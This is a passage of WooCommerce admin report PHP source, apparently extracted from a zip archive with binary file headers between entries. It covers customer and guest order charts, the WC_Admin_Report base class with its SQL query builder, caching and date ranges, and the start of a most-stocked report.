				'data'         => array(
					'ID' => array(
						'type'     => 'post_data',
						'function' => 'COUNT',
						'name'     => 'total_orders',
					),
				),
				'where_meta'   => array(
					array(
						'meta_key'   => '_customer_user',
						'meta_value' => '0',
						'operator'   => '=',
					),
				),
				'filter_range' => true,
			)
		);
		?>
		<div class="chart-container">
			<div class="chart-placeholder customers_vs_guests pie-chart" style="height:200px"></div>
			<ul class="pie-chart-legend">
				<li style="border-color: <?php echo esc_attr( $this->chart_colours['customers'] ); ?>"><?php esc_html_e( 'Customer sales', 'woocommerce' ); ?></li>
				<li style="border-color: <?php echo esc_attr( $this->chart_colours['guests'] ); ?>"><?php esc_html_e( 'Guest sales', 'woocommerce' ); ?></li>
			</ul>
		</div>
		<script type="text/javascript">
			jQuery(function(){
				 jQuery.plot(
					jQuery('.chart-placeholder.customers_vs_guests'),
					[
						{
							label: '<?php esc_html_e( 'Customer orders', 'woocommerce' ); ?>',
							data:  "<?php echo esc_html( $customer_order_totals->total_orders ); ?>",
							color: '<?php echo esc_html( $this->chart_colours['customers'] ); ?>'
						},
						{
							label: '<?php esc_html_e( 'Guest orders', 'woocommerce' ); ?>',
							data:  "<?php echo esc_html( $guest_order_totals->total_orders ); ?>",
							color: '<?php echo esc_html( $this->chart_colours['guests'] ); ?>'
						}
					],
					{
						grid: {
							hoverable: true
						},
						series: {
							pie: {
								show: true,
								radius: 1,
								innerRadius: 0.6,
								label: {
									show: false
								}
							},
							enable_tooltip: true,
							append_tooltip: "<?php echo esc_html( ' ' . __( 'orders', 'woocommerce' ) ); ?>",
						},
						legend: {
							show: false
						}
					}
				);

				jQuery('.chart-placeholder.customers_vs_guests').trigger( 'resize' );
			});
		</script>
		<?php
	}

	/**
	 * Output the report.
	 */
	public function output_report() {

		$ranges = array(
			'year'       => __( 'Year', 'woocommerce' ),
			'last_month' => __( 'Last month', 'woocommerce' ),
			'month'      => __( 'This month', 'woocommerce' ),
			'7day'       => __( 'Last 7 days', 'woocommerce' ),
		);

		$this->chart_colours = array(
			'signups'   => '#3498db',
			'customers' => '#1abc9c',
			'guests'    => '#8fdece',
		);

		$current_range = ! empty( $_GET['range'] ) ? sanitize_text_field( wp_unslash( $_GET['range'] ) ) : '7day';

		if ( ! in_array( $current_range, array( 'custom', 'year', 'last_month', 'month', '7day' ), true ) ) {
			$current_range = '7day';
		}

		$this->check_current_range_nonce( $current_range );
		$this->calculate_current_range( $current_range );

		$admin_users = new WP_User_Query(
			array(
				'role'   => 'administrator',
				'fields' => 'ID',
			)
		);

		$manager_users = new WP_User_Query(
			array(
				'role'   => 'shop_manager',
				'fields' => 'ID',
			)
		);

		$users_query = new WP_User_Query(
			apply_filters(
				'woocommerce_admin_report_customers_user_query_args',
				array(
					'fields'  => array( 'user_registered' ),
					'exclude' => array_merge( $admin_users->get_results(), $manager_users->get_results() ),
				)
			)
		);

		$this->customers = $users_query->get_results();

		foreach ( $this->customers as $key => $customer ) {
			if ( strtotime( $customer->user_registered ) < $this->start_date || strtotime( $customer->user_registered ) > $this->end_date ) {
				unset( $this->customers[ $key ] );
			}
		}

		include WC()->plugin_path() . '/includes/admin/views/html-report-by-date.php';
	}

	/**
	 * Output an export link.
	 */
	public function get_export_button() {

		$current_range = ! empty( $_GET['range'] ) ? sanitize_text_field( wp_unslash( $_GET['range'] ) ) : '7day';
		?>
		<a
			href="#"
			download="report-<?php echo esc_attr( $current_range ); ?>-<?php echo esc_attr( date_i18n( 'Y-m-d', current_time( 'timestamp' ) ) ); ?>.csv"
			class="export_csv"
			data-export="chart"
			data-xaxes="<?php esc_attr_e( 'Date', 'woocommerce' ); ?>"
			data-groupby="<?php echo esc_attr( $this->chart_groupby ); ?>"
		>
			<?php esc_html_e( 'Export CSV', 'woocommerce' ); ?>
		</a>
		<?php
	}

	/**
	 * Output the main chart.
	 */
	public function get_main_chart() {
		global $wp_locale;

		$customer_orders = $this->get_order_report_data(
			array(
				'data'         => array(
					'ID'        => array(
						'type'     => 'post_data',
						'function' => 'COUNT',
						'name'     => 'total_orders',
					),
					'post_date' => array(
						'type'     => 'post_data',
						'function' => '',
						'name'     => 'post_date',
					),
				),
				'where_meta'   => array(
					array(
						'meta_key'   => '_customer_user',
						'meta_value' => '0',
						'operator'   => '>',
					),
				),
				'group_by'     => $this->group_by_query,
				'order_by'     => 'post_date ASC',
				'query_type'   => 'get_results',
				'filter_range' => true,
			)
		);

		$guest_orders = $this->get_order_report_data(
			array(
				'data'         => array(
					'ID'        => array(
						'type'     => 'post_data',
						'function' => 'COUNT',
						'name'     => 'total_orders',
					),
					'post_date' => array(
						'type'     => 'post_data',
						'function' => '',
						'name'     => 'post_date',
					),
				),
				'where_meta'   => array(
					array(
						'meta_key'   => '_customer_user',
						'meta_value' => '0',
						'operator'   => '=',
					),
				),
				'group_by'     => $this->group_by_query,
				'order_by'     => 'post_date ASC',
				'query_type'   => 'get_results',
				'filter_range' => true,
			)
		);

		$signups         = $this->prepare_chart_data( $this->customers, 'user_registered', '', $this->chart_interval, $this->start_date, $this->chart_groupby );
		$customer_orders = $this->prepare_chart_data( $customer_orders, 'post_date', 'total_orders', $this->chart_interval, $this->start_date, $this->chart_groupby );
		$guest_orders    = $this->prepare_chart_data( $guest_orders, 'post_date', 'total_orders', $this->chart_interval, $this->start_date, $this->chart_groupby );

		$chart_data = wp_json_encode(
			array(
				'signups'         => array_values( $signups ),
				'customer_orders' => array_values( $customer_orders ),
				'guest_orders'    => array_values( $guest_orders ),
			)
		);
		?>
		<div class="chart-container">
			<div class="chart-placeholder main"></div>
		</div>
		<script type="text/javascript">
			var main_chart;

			jQuery(function(){
				var chart_data = JSON.parse( decodeURIComponent( '<?php echo rawurlencode( $chart_data ); ?>' ) );

				var drawGraph = function( highlight ) {
					var series = [
							{
								label: "<?php echo esc_js( __( 'Customer orders', 'woocommerce' ) ); ?>",
								data: chart_data.customer_orders,
								color: '<?php echo esc_html( $this->chart_colours['customers'] ); ?>',
								bars: { fillColor: '<?php echo esc_html( $this->chart_colours['customers'] ); ?>', fill: true, show: true, lineWidth: 0, barWidth: <?php echo esc_html( $this->barwidth ); ?> * 0.5, align: 'center' },
								shadowSize: 0,
								enable_tooltip: true,
								append_tooltip: "<?php echo esc_html( ' ' . __( 'customer orders', 'woocommerce' ) ); ?>",
								stack: true,
							},
							{
								label: "<?php echo esc_js( __( 'Guest orders', 'woocommerce' ) ); ?>",
								data: chart_data.guest_orders,
								color: '<?php echo esc_html( $this->chart_colours['guests'] ); ?>',
								bars: { fillColor: '<?php echo esc_html( $this->chart_colours['guests'] ); ?>', fill: true, show: true, lineWidth: 0, barWidth: <?php echo esc_html( $this->barwidth ); ?> * 0.5, align: 'center' },
								shadowSize: 0,
								enable_tooltip: true,
								append_tooltip: "<?php echo esc_html( ' ' . __( 'guest orders', 'woocommerce' ) ); ?>",
								stack: true,
							},
							{
								label: "<?php echo esc_js( __( 'Signups', 'woocommerce' ) ); ?>",
								data: chart_data.signups,
								color: '<?php echo esc_html( $this->chart_colours['signups'] ); ?>',
								points: { show: true, radius: 5, lineWidth: 3, fillColor: '#fff', fill: true },
								lines: { show: true, lineWidth: 4, fill: false },
								shadowSize: 0,
								enable_tooltip: true,
								append_tooltip: "<?php echo esc_html( ' ' . __( 'new users', 'woocommerce' ) ); ?>",
								stack: false
							},
						];

					if ( highlight !== 'undefined' && series[ highlight ] ) {
						highlight_series = series[ highlight ];

						highlight_series.color = '#9c5d90';

						if ( highlight_series.bars )
							highlight_series.bars.fillColor = '#9c5d90';

						if ( highlight_series.lines ) {
							highlight_series.lines.lineWidth = 5;
						}
					}

					main_chart = jQuery.plot(
						jQuery('.chart-placeholder.main'),
						series,
						{
							legend: {
								show: false
							},
							grid: {
								color: '#aaa',
								borderColor: 'transparent',
								borderWidth: 0,
								hoverable: true
							},
							xaxes: [ {
								color: '#aaa',
								position: "bottom",
								tickColor: 'transparent',
								mode: "time",
								timeformat: "<?php echo ( 'day' === $this->chart_groupby ) ? '%d %b' : '%b'; ?>",
								monthNames: JSON.parse( decodeURIComponent( '<?php echo rawurlencode( wp_json_encode( array_values( $wp_locale->month_abbrev ) ) ); ?>' ) ),
								tickLength: 1,
								minTickSize: [1, "<?php echo esc_html( $this->chart_groupby ); ?>"],
								tickSize: [1, "<?php echo esc_html( $this->chart_groupby ); ?>"],
								font: {
									color: "#aaa"
								}
							} ],
							yaxes: [
								{
									min: 0,
									minTickSize: 1,
									tickDecimals: 0,
									color: '#ecf0f1',
									font: { color: "#aaa" }
								}
							],
						}
					);
					jQuery('.chart-placeholder').trigger( 'resize' );
				}

				drawGraph();

				jQuery('.highlight_series').on( 'mouseenter',
					function() {
						drawGraph( jQuery(this).data('series') );
					} ).on( 'mouseleave',
					function() {
						drawGraph();
					}
				);
			});
		</script>
		<?php
	}
}
PK�3\�GY�W�W!reports/class-wc-admin-report.phpnu�[���<?php

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * Admin Report.
 *
 * Extended by reports to show charts and stats in admin.
 *
 * @author      WooThemes
 * @category    Admin
 * @package     WooCommerce\Admin\Reports
 * @version     2.1.0
 */
class WC_Admin_Report {

	/**
	 * @var array List of transients name that have been updated and need persisting.
	 */
	protected static $transients_to_update = array();

	/**
	 * @var array The list of transients.
	 */
	protected static $cached_results = array();

	/**
	 * The chart interval.
	 *
	 * @var int
	 */
	public $chart_interval;

	/**
	 * Group by SQL query.
	 *
	 * @var string
	 */
	public $group_by_query;

	/**
	 * The bar width.
	 *
	 * @var int
	 */
	public $barwidth;

	/**
	 * Group chart item by day or month.
	 *
	 * @var string
	 */
	public $chart_groupby;

	/**
	 * The start date of the report.
	 *
	 * @var int timestamp
	 */
	public $start_date;

	/**
	 * The end date of the report.
	 *
	 * @var int timestamp
	 */
	public $end_date;

	/**
	 * Get report totals such as order totals and discount amounts.
	 *
	 * Data example:
	 *
	 * '_order_total' => array(
	 *     'type'     => 'meta',
	 *     'function' => 'SUM',
	 *     'name'     => 'total_sales'
	 * )
	 *
	 * @param  array $args
	 * @return mixed depending on query_type
	 */
	public function get_order_report_data( $args = array() ) {
		global $wpdb;

		$default_args = array(
			'data'                => array(),
			'where'               => array(),
			'where_meta'          => array(),
			'query_type'          => 'get_row',
			'group_by'            => '',
			'order_by'            => '',
			'limit'               => '',
			'filter_range'        => false,
			'nocache'             => false,
			'debug'               => false,
			'order_types'         => wc_get_order_types( 'reports' ),
			'order_status'        => array( 'completed', 'processing', 'on-hold' ),
			'parent_order_status' => false,
		);
		$args         = apply_filters( 'woocommerce_reports_get_order_report_data_args', $args );
		$args         = wp_parse_args( $args, $default_args );

		extract( $args );

		if ( empty( $data ) ) {
			return '';
		}

		$order_status = apply_filters( 'woocommerce_reports_order_statuses', $order_status );

		$query  = array();
		$select = array();

		foreach ( $data as $raw_key => $value ) {
			$key      = sanitize_key( $raw_key );
			$distinct = '';

			if ( isset( $value['distinct'] ) ) {
				$distinct = 'DISTINCT';
			}

			switch ( $value['type'] ) {
				case 'meta':
					$get_key = "meta_{$key}.meta_value";
					break;
				case 'parent_meta':
					$get_key = "parent_meta_{$key}.meta_value";
					break;
				case 'post_data':
					$get_key = "posts.{$key}";
					break;
				case 'order_item_meta':
					$get_key = "order_item_meta_{$key}.meta_value";
					break;
				case 'order_item':
					$get_key = "order_items.{$key}";
					break;
			}

			if ( empty( $get_key ) ) {
				// Skip to the next foreach iteration else the query will be invalid.
				continue;
			}

			if ( $value['function'] ) {
				$get = "{$value['function']}({$distinct} {$get_key})";
			} else {
				$get = "{$distinct} {$get_key}";
			}

			$select[] = "{$get} as {$value['name']}";
		}

		$query['select'] = 'SELECT ' . implode( ',', $select );
		$query['from']   = "FROM {$wpdb->posts} AS posts";

		// Joins
		$joins = array();

		foreach ( ( $data + $where ) as $raw_key => $value ) {
			$join_type = isset( $value['join_type'] ) ? $value['join_type'] : 'INNER';
			$type      = isset( $value['type'] ) ? $value['type'] : false;
			$key       = sanitize_key( $raw_key );

			switch ( $type ) {
				case 'meta':
					$joins[ "meta_{$key}" ] = "{$join_type} JOIN {$wpdb->postmeta} AS meta_{$key} ON ( posts.ID = meta_{$key}.post_id AND meta_{$key}.meta_key = '{$raw_key}' )";
					break;
				case 'parent_meta':
					$joins[ "parent_meta_{$key}" ] = "{$join_type} JOIN {$wpdb->postmeta} AS parent_meta_{$key} ON (posts.post_parent = parent_meta_{$key}.post_id) AND (parent_meta_{$key}.meta_key = '{$raw_key}')";
					break;
				case 'order_item_meta':
					$joins['order_items'] = "{$join_type} JOIN {$wpdb->prefix}woocommerce_order_items AS order_items ON (posts.ID = order_items.order_id)";

					if ( ! empty( $value['order_item_type'] ) ) {
						$joins['order_items'] .= " AND (order_items.order_item_type = '{$value['order_item_type']}')";
					}

					$joins[ "order_item_meta_{$key}" ] = "{$join_type} JOIN {$wpdb->prefix}woocommerce_order_itemmeta AS order_item_meta_{$key} ON " .
														"(order_items.order_item_id = order_item_meta_{$key}.order_item_id) " .
														" AND (order_item_meta_{$key}.meta_key = '{$raw_key}')";
					break;
				case 'order_item':
					$joins['order_items'] = "{$join_type} JOIN {$wpdb->prefix}woocommerce_order_items AS order_items ON posts.ID = order_items.order_id";
					break;
			}
		}

		if ( ! empty( $where_meta ) ) {
			foreach ( $where_meta as $value ) {
				if ( ! is_array( $value ) ) {
					continue;
				}
				$join_type = isset( $value['join_type'] ) ? $value['join_type'] : 'INNER';
				$type      = isset( $value['type'] ) ? $value['type'] : false;
				$key       = sanitize_key( is_array( $value['meta_key'] ) ? $value['meta_key'][0] . '_array' : $value['meta_key'] );

				if ( 'order_item_meta' === $type ) {

					$joins['order_items']              = "{$join_type} JOIN {$wpdb->prefix}woocommerce_order_items AS order_items ON posts.ID = order_items.order_id";
					$joins[ "order_item_meta_{$key}" ] = "{$join_type} JOIN {$wpdb->prefix}woocommerce_order_itemmeta AS order_item_meta_{$key} ON order_items.order_item_id = order_item_meta_{$key}.order_item_id";

				} else {
					// If we have a where clause for meta, join the postmeta table
					$joins[ "meta_{$key}" ] = "{$join_type} JOIN {$wpdb->postmeta} AS meta_{$key} ON posts.ID = meta_{$key}.post_id";
				}
			}
		}

		if ( ! empty( $parent_order_status ) ) {
			$joins['parent'] = "LEFT JOIN {$wpdb->posts} AS parent ON posts.post_parent = parent.ID";
		}

		$query['join'] = implode( ' ', $joins );

		$query['where'] = "
			WHERE 	posts.post_type 	IN ( '" . implode( "','", $order_types ) . "' )
			";

		if ( ! empty( $order_status ) ) {
			$query['where'] .= "
				AND 	posts.post_status 	IN ( 'wc-" . implode( "','wc-", $order_status ) . "')
			";
		}

		if ( ! empty( $parent_order_status ) ) {
			if ( ! empty( $order_status ) ) {
				$query['where'] .= " AND ( parent.post_status IN ( 'wc-" . implode( "','wc-", $parent_order_status ) . "') OR parent.ID IS NULL ) ";
			} else {
				$query['where'] .= " AND parent.post_status IN ( 'wc-" . implode( "','wc-", $parent_order_status ) . "') ";
			}
		}

		if ( $filter_range ) {
			$query['where'] .= "
				AND 	posts.post_date >= '" . date( 'Y-m-d H:i:s', $this->start_date ) . "'
				AND 	posts.post_date < '" . date( 'Y-m-d H:i:s', strtotime( '+1 DAY', $this->end_date ) ) . "'
			";
		}

		if ( ! empty( $where_meta ) ) {

			$relation = isset( $where_meta['relation'] ) ? $where_meta['relation'] : 'AND';

			$query['where'] .= ' AND (';

			foreach ( $where_meta as $index => $value ) {

				if ( ! is_array( $value ) ) {
					continue;
				}

				$key = sanitize_key( is_array( $value['meta_key'] ) ? $value['meta_key'][0] . '_array' : $value['meta_key'] );

				if ( strtolower( $value['operator'] ) == 'in' || strtolower( $value['operator'] ) == 'not in' ) {

					if ( is_array( $value['meta_value'] ) ) {
						$value['meta_value'] = implode( "','", $value['meta_value'] );
					}

					if ( ! empty( $value['meta_value'] ) ) {
						$where_value = "{$value['operator']} ('{$value['meta_value']}')";
					}
				} else {
					$where_value = "{$value['operator']} '{$value['meta_value']}'";
				}

				if ( ! empty( $where_value ) ) {
					if ( $index > 0 ) {
						$query['where'] .= ' ' . $relation;
					}

					if ( isset( $value['type'] ) && 'order_item_meta' === $value['type'] ) {

						if ( is_array( $value['meta_key'] ) ) {
							$query['where'] .= " ( order_item_meta_{$key}.meta_key   IN ('" . implode( "','", $value['meta_key'] ) . "')";
						} else {
							$query['where'] .= " ( order_item_meta_{$key}.meta_key   = '{$value['meta_key']}'";
						}

						$query['where'] .= " AND order_item_meta_{$key}.meta_value {$where_value} )";
					} else {

						if ( is_array( $value['meta_key'] ) ) {
							$query['where'] .= " ( meta_{$key}.meta_key   IN ('" . implode( "','", $value['meta_key'] ) . "')";
						} else {
							$query['where'] .= " ( meta_{$key}.meta_key   = '{$value['meta_key']}'";
						}

						$query['where'] .= " AND meta_{$key}.meta_value {$where_value} )";
					}
				}
			}

			$query['where'] .= ')';
		}

		if ( ! empty( $where ) ) {

			foreach ( $where as $value ) {

				if ( strtolower( $value['operator'] ) == 'in' || strtolower( $value['operator'] ) == 'not in' ) {

					if ( is_array( $value['value'] ) ) {
						$value['value'] = implode( "','", $value['value'] );
					}

					if ( ! empty( $value['value'] ) ) {
						$where_value = "{$value['operator']} ('{$value['value']}')";
					}
				} else {
					$where_value = "{$value['operator']} '{$value['value']}'";
				}

				if ( ! empty( $where_value ) ) {
					$query['where'] .= " AND {$value['key']} {$where_value}";
				}
			}
		}

		if ( $group_by ) {
			$query['group_by'] = "GROUP BY {$group_by}";
		}

		if ( $order_by ) {
			$query['order_by'] = "ORDER BY {$order_by}";
		}

		if ( $limit ) {
			$query['limit'] = "LIMIT {$limit}";
		}

		$query = apply_filters( 'woocommerce_reports_get_order_report_query', $query );
		$query = implode( ' ', $query );

		if ( $debug ) {
			echo '<pre>';
			wc_print_r( $query );
			echo '</pre>';
		}

		if ( $debug || $nocache ) {
			self::enable_big_selects();

			$result = apply_filters( 'woocommerce_reports_get_order_report_data', $wpdb->$query_type( $query ), $data );
		} else {
			$query_hash = md5( $query_type . $query );
			$result     = $this->get_cached_query( $query_hash );
			if ( $result === null ) {
				self::enable_big_selects();

				$result = apply_filters( 'woocommerce_reports_get_order_report_data', $wpdb->$query_type( $query ), $data );
			}
			$this->set_cached_query( $query_hash, $result );
		}

		return $result;
	}

	/**
	 * Init the static hooks of the class.
	 */
	protected static function add_update_transients_hook() {
		if ( ! has_action( 'shutdown', array( 'WC_Admin_Report', 'maybe_update_transients' ) ) ) {
			add_action( 'shutdown', array( 'WC_Admin_Report', 'maybe_update_transients' ) );
		}
	}

	/**
	 * Enables big mysql selects for reports, just once for this session.
	 */
	protected static function enable_big_selects() {
		static $big_selects = false;

		global $wpdb;

		if ( ! $big_selects ) {
			$wpdb->query( 'SET SESSION SQL_BIG_SELECTS=1' );
			$big_selects = true;
		}
	}

	/**
	 * Get the cached query result or null if it's not in the cache.
	 *
	 * @param string $query_hash The query hash.
	 *
	 * @return mixed
	 */
	protected function get_cached_query( $query_hash ) {
		$class = strtolower( get_class( $this ) );

		if ( ! isset( self::$cached_results[ $class ] ) ) {
			self::$cached_results[ $class ] = get_transient( strtolower( get_class( $this ) ) );
		}

		if ( isset( self::$cached_results[ $class ][ $query_hash ] ) ) {
			return self::$cached_results[ $class ][ $query_hash ];
		}

		return null;
	}

	/**
	 * Set the cached query result.
	 *
	 * @param string $query_hash The query hash.
	 * @param mixed  $data The data to cache.
	 */
	protected function set_cached_query( $query_hash, $data ) {
		$class = strtolower( get_class( $this ) );

		if ( ! isset( self::$cached_results[ $class ] ) ) {
			self::$cached_results[ $class ] = get_transient( strtolower( get_class( $this ) ) );
		}

		self::add_update_transients_hook();

		self::$transients_to_update[ $class ]          = $class;
		self::$cached_results[ $class ][ $query_hash ] = $data;
	}

	/**
	 * Function to update the modified transients at the end of the request.
	 */
	public static function maybe_update_transients() {
		foreach ( self::$transients_to_update as $key => $transient_name ) {
			set_transient( $transient_name, self::$cached_results[ $transient_name ], DAY_IN_SECONDS );
		}
		// Transients have been updated reset the list.
		self::$transients_to_update = array();
	}

	/**
	 * Put data with post_date's into an array of times.
	 *
	 * @param  array  $data array of your data
	 * @param  string $date_key key for the 'date' field. e.g. 'post_date'
	 * @param  string $data_key key for the data you are charting
	 * @param  int    $interval
	 * @param  string $start_date
	 * @param  string $group_by
	 * @return array
	 */
	public function prepare_chart_data( $data, $date_key, $data_key, $interval, $start_date, $group_by ) {
		$prepared_data = array();

		// Ensure all days (or months) have values in this range.
		if ( 'day' === $group_by ) {
			for ( $i = 0; $i <= $interval; $i ++ ) {
				$time = strtotime( date( 'Ymd', strtotime( "+{$i} DAY", $start_date ) ) ) . '000';

				if ( ! isset( $prepared_data[ $time ] ) ) {
					$prepared_data[ $time ] = array( esc_js( $time ), 0 );
				}
			}
		} else {
			$current_yearnum  = date( 'Y', $start_date );
			$current_monthnum = date( 'm', $start_date );

			for ( $i = 0; $i <= $interval; $i ++ ) {
				$time = strtotime( $current_yearnum . str_pad( $current_monthnum, 2, '0', STR_PAD_LEFT ) . '01' ) . '000';

				if ( ! isset( $prepared_data[ $time ] ) ) {
					$prepared_data[ $time ] = array( esc_js( $time ), 0 );
				}

				$current_monthnum ++;

				if ( $current_monthnum > 12 ) {
					$current_monthnum = 1;
					$current_yearnum  ++;
				}
			}
		}

		foreach ( $data as $d ) {
			switch ( $group_by ) {
				case 'day':
					$time = strtotime( date( 'Ymd', strtotime( $d->$date_key ) ) ) . '000';
					break;
				case 'month':
				default:
					$time = strtotime( date( 'Ym', strtotime( $d->$date_key ) ) . '01' ) . '000';
					break;
			}

			if ( ! isset( $prepared_data[ $time ] ) ) {
				continue;
			}

			if ( $data_key ) {
				$prepared_data[ $time ][1] += $d->$data_key;
			} else {
				$prepared_data[ $time ][1] ++;
			}
		}

		return $prepared_data;
	}

	/**
	 * Prepares a sparkline to show sales in the last X days.
	 *
	 * @param  int    $id ID of the product to show. Blank to get all orders.
	 * @param  int    $days Days of stats to get.
	 * @param  string $type Type of sparkline to get. Ignored if ID is not set.
	 * @return string
	 */
	public function sales_sparkline( $id = '', $days = 7, $type = 'sales' ) {

		if ( $id ) {
			$meta_key = ( 'sales' === $type ) ? '_line_total' : '_qty';

			$data = $this->get_order_report_data(
				array(
					'data'         => array(
						'_product_id' => array(
							'type'            => 'order_item_meta',
							'order_item_type' => 'line_item',
							'function'        => '',
							'name'            => 'product_id',
						),
						$meta_key     => array(
							'type'            => 'order_item_meta',
							'order_item_type' => 'line_item',
							'function'        => 'SUM',
							'name'            => 'sparkline_value',
						),
						'post_date'   => array(
							'type'     => 'post_data',
							'function' => '',
							'name'     => 'post_date',
						),
					),
					'where'        => array(
						array(
							'key'      => 'post_date',
							'value'    => date( 'Y-m-d', strtotime( 'midnight -' . ( $days - 1 ) . ' days', current_time( 'timestamp' ) ) ),
							'operator' => '>',
						),
						array(
							'key'      => 'order_item_meta__product_id.meta_value',
							'value'    => $id,
							'operator' => '=',
						),
					),
					'group_by'     => 'YEAR(posts.post_date), MONTH(posts.post_date), DAY(posts.post_date)',
					'query_type'   => 'get_results',
					'filter_range' => false,
				)
			);
		} else {

			$data = $this->get_order_report_data(
				array(
					'data'         => array(
						'_order_total' => array(
							'type'     => 'meta',
							'function' => 'SUM',
							'name'     => 'sparkline_value',
						),
						'post_date'    => array(
							'type'     => 'post_data',
							'function' => '',
							'name'     => 'post_date',
						),
					),
					'where'        => array(
						array(
							'key'      => 'post_date',
							'value'    => date( 'Y-m-d', strtotime( 'midnight -' . ( $days - 1 ) . ' days', current_time( 'timestamp' ) ) ),
							'operator' => '>',
						),
					),
					'group_by'     => 'YEAR(posts.post_date), MONTH(posts.post_date), DAY(posts.post_date)',
					'query_type'   => 'get_results',
					'filter_range' => false,
				)
			);
		}

		$total = 0;
		foreach ( $data as $d ) {
			$total += $d->sparkline_value;
		}

		if ( 'sales' === $type ) {
			/* translators: 1: total income 2: days */
			$tooltip = sprintf( __( 'Sold %1$s worth in the last %2$d days', 'woocommerce' ), strip_tags( wc_price( $total ) ), $days );
		} else {
			/* translators: 1: total items sold 2: days */
			$tooltip = sprintf( _n( 'Sold %1$d item in the last %2$d days', 'Sold %1$d items in the last %2$d days', $total, 'woocommerce' ), $total, $days );
		}

		$sparkline_data = array_values( $this->prepare_chart_data( $data, 'post_date', 'sparkline_value', $days - 1, strtotime( 'midnight -' . ( $days - 1 ) . ' days', current_time( 'timestamp' ) ), 'day' ) );

		return '<span class="wc_sparkline ' . ( ( 'sales' === $type ) ? 'lines' : 'bars' ) . ' tips" data-color="#777" data-tip="' . esc_attr( $tooltip ) . '" data-barwidth="' . 60 * 60 * 16 * 1000 . '" data-sparkline="' . wc_esc_json( wp_json_encode( $sparkline_data ) ) . '"></span>';
	}

	/**
	 * Get the current range and calculate the start and end dates.
	 *
	 * @param  string $current_range
	 */
	public function calculate_current_range( $current_range ) {

		switch ( $current_range ) {

			case 'custom':
				$this->start_date = max( strtotime( '-20 years' ), strtotime( sanitize_text_field( $_GET['start_date'] ) ) );

				if ( empty( $_GET['end_date'] ) ) {
					$this->end_date = strtotime( 'midnight', current_time( 'timestamp' ) );
				} else {
					$this->end_date = strtotime( 'midnight', strtotime( sanitize_text_field( $_GET['end_date'] ) ) );
				}

				$interval = 0;
				$min_date = $this->start_date;

				while ( ( $min_date = strtotime( '+1 MONTH', $min_date ) ) <= $this->end_date ) {
					$interval ++;
				}

				// 3 months max for day view
				if ( $interval > 3 ) {
					$this->chart_groupby = 'month';
				} else {
					$this->chart_groupby = 'day';
				}
				break;

			case 'year':
				$this->start_date    = strtotime( date( 'Y-01-01', current_time( 'timestamp' ) ) );
				$this->end_date      = strtotime( 'midnight', current_time( 'timestamp' ) );
				$this->chart_groupby = 'month';
				break;

			case 'last_month':
				$first_day_current_month = strtotime( date( 'Y-m-01', current_time( 'timestamp' ) ) );
				$this->start_date        = strtotime( date( 'Y-m-01', strtotime( '-1 DAY', $first_day_current_month ) ) );
				$this->end_date          = strtotime( date( 'Y-m-t', strtotime( '-1 DAY', $first_day_current_month ) ) );
				$this->chart_groupby     = 'day';
				break;

			case 'month':
				$this->start_date    = strtotime( date( 'Y-m-01', current_time( 'timestamp' ) ) );
				$this->end_date      = strtotime( 'midnight', current_time( 'timestamp' ) );
				$this->chart_groupby = 'day';
				break;

			case '7day':
				$this->start_date    = strtotime( '-6 days', strtotime( 'midnight', current_time( 'timestamp' ) ) );
				$this->end_date      = strtotime( 'midnight', current_time( 'timestamp' ) );
				$this->chart_groupby = 'day';
				break;
		}

		// Group by
		switch ( $this->chart_groupby ) {

			case 'day':
				$this->group_by_query = 'YEAR(posts.post_date), MONTH(posts.post_date), DAY(posts.post_date)';
				$this->chart_interval = absint( ceil( max( 0, ( $this->end_date - $this->start_date ) / ( 60 * 60 * 24 ) ) ) );
				$this->barwidth       = 60 * 60 * 24 * 1000;
				break;

			case 'month':
				$this->group_by_query = 'YEAR(posts.post_date), MONTH(posts.post_date)';
				$this->chart_interval = 0;
				$min_date             = strtotime( date( 'Y-m-01', $this->start_date ) );

				while ( ( $min_date = strtotime( '+1 MONTH', $min_date ) ) <= $this->end_date ) {
					$this->chart_interval ++;
				}

				$this->barwidth = 60 * 60 * 24 * 7 * 4 * 1000;
				break;
		}
	}

	/**
	 * Return currency tooltip JS based on WooCommerce currency position settings.
	 *
	 * @return string
	 */
	public function get_currency_tooltip() {
		switch ( get_option( 'woocommerce_currency_pos' ) ) {
			case 'right':
				$currency_tooltip = 'append_tooltip: "' . get_woocommerce_currency_symbol() . '"';
				break;
			case 'right_space':
				$currency_tooltip = 'append_tooltip: "&nbsp;' . get_woocommerce_currency_symbol() . '"';
				break;
			case 'left':
				$currency_tooltip = 'prepend_tooltip: "' . get_woocommerce_currency_symbol() . '"';
				break;
			case 'left_space':
			default:
				$currency_tooltip = 'prepend_tooltip: "' . get_woocommerce_currency_symbol() . '&nbsp;"';
				break;
		}

		return $currency_tooltip;
	}

	/**
	 * Get the main chart.
	 */
	public function get_main_chart() {}

	/**
	 * Get the legend for the main chart sidebar.
	 *
	 * @return array
	 */
	public function get_chart_legend() {
		return array();
	}

	/**
	 * Get chart widgets.
	 *
	 * @return array
	 */
	public function get_chart_widgets() {
		return array();
	}

	/**
	 * Get an export link if needed.
	 */
	public function get_export_button() {}

	/**
	 * Output the report.
	 */
	public function output_report() {}

	/**
	 * Check nonce for current range.
	 *
	 * @since  3.0.4
	 * @param  string $current_range Current range.
	 */
	public function check_current_range_nonce( $current_range ) {
		if ( 'custom' !== $current_range ) {
			return;
		}

		if ( ! isset( $_GET['wc_reports_nonce'] ) || ! wp_verify_nonce( sanitize_key( $_GET['wc_reports_nonce'] ), 'custom_range' ) ) { // WPCS: input var ok, CSRF ok.
			wp_die(
				/* translators: %1$s: open link, %2$s: close link */
				sprintf( esc_html__( 'This report link has expired. %1$sClick here to view the filtered report%2$s.', 'woocommerce' ), '<a href="' . esc_url( wp_nonce_url( esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ), 'custom_range', 'wc_reports_nonce' ) ) . '">', '</a>' ), // @codingStandardsIgnoreLine.
				esc_attr__( 'Confirm navigation', 'woocommerce' )
			);
			exit;
		}
	}
}
PK�3\�,�Z��(reports/class-wc-report-most-stocked.phpnu�[���<?php
/**
 * WC_Report_Most_Stocked.
 *
 * @package WooCommerce\Admin\Reports
 */

defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'WC_Report_Stock' ) ) {
	require_once dirname( __FILE__ ) . '/class-wc-report-stock.php';
}

/**
 * WC_Report_Most_Stocked.
 */
class WC_Report_Most_Stocked extends WC_Report_Stock {

	/**
	 * Get Products matching stock criteria.
	 *
	 * @param int $current_page Current page number.
	 * @param int $per_page How many results to show per page.
	 */
